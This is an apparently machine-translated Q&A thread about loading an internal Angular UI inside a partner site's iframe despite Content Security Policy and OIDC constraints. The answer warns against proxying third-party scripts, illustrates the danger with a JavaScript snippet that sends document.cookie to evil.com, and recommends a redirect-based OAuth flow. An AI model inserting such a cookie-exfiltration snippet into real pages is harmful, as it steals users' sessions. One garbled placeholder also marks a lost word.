Cross-domain 在 iframe 中加载 Angular UI

Cross-domain loading of Angular UI within an iframe

我们需要从外部合作伙伴安全网站加载内部托管的 angular UI。我们正在使用 OIDC 身份验证流程调用内部 IDP 服务器以 [​​=23=] 用户令牌。

问题是我们无法对内部 IDP 服务器的规则进行自定义修改,以允许外部合作伙伴域有效地从 iframe(内容安全策略)中调用。

这导致我们收到与无效内容安全策略相关的错误,因为外部合作伙伴域不在 CSP 的允许域列表中。如果我们在内部公司域(在 CSP 中允许)的 iframe 中提供此 UI,它就可以正常工作。

假设我们必须从合作伙伴网站内联(iframe 或其他)加载我们的内部 UI,并使用 oauth 模式验证我们的用户是否有任何可行的解决方案来解决这个问题?

我了解 CSP 和 x-frame-option headers 以这种方式设置以避免 click-jacking 安全风险,因此不确定在保持安全的同时可能向我们提出的要求。最初的想法是可能在合作伙伴网站和我们的 UI 之间放置一个代理服务,代理服务将处理身份验证......绕过 CSP 规则......但不一定看起来安全,并且不确定如何即使是这样也要实施。欢迎任何想法或想法。谢谢!

代理第三方脚本不是个好主意。考虑脚本:

var Img = document.createElement("img");
Img.setAttribute('src', 'http://evil.com?cookie=' + document.cookie);
document.body.appendChild(Img);

从其他人的域加载,脚本将无法访问 document.cookie。但是在代理之后,浏览器会认为脚本是从您的域加载的,并且会将 cookie 发送到 evil.com 站点。

允许将您的网站嵌入 iframe 打开大门:

  • clickjacking:通过放置一个隐形框架,如果访问者在第三方站点登录,它允许您代表访问者执行操作。
  • Phishing:在 iframe 的情况下,用户在地址栏中看不到真正的 URL。因此,攻击者可以从他的域加载一个看起来像第三方授权站点的 iframe。由于访问者无法看到它,他在攻击者站点输入 login/password。
  • 第三方脚本访问一些敏感的用户数据,例如:地理定位、摄像头、麦克风、扬声器、移动设备传感器(加速度计、陀螺仪、环境光传感器、磁力计、振动)等。请参阅功能政策/权限策略如何限制这些。

要使用您的 IDP 服务器在第三方站点上验证用户,您必须重定向到您的域,在您的域上验证用户并将用户重定向回第三方站点。要保持身份验证,可以使用 JWT 令牌或第三方站点可以设置自己的身份验证 cookie。 referrer 用于 return 返回到合作伙伴的页面,其中启动了身份验证。 Google's OAuth2 服务以这种方式工作。

不知道您的 Web 应用程序正在处理哪些 private/financial 数据,但您不太可能希望通过在安全系统中为第三方制造漏洞来对第三方的行为负责。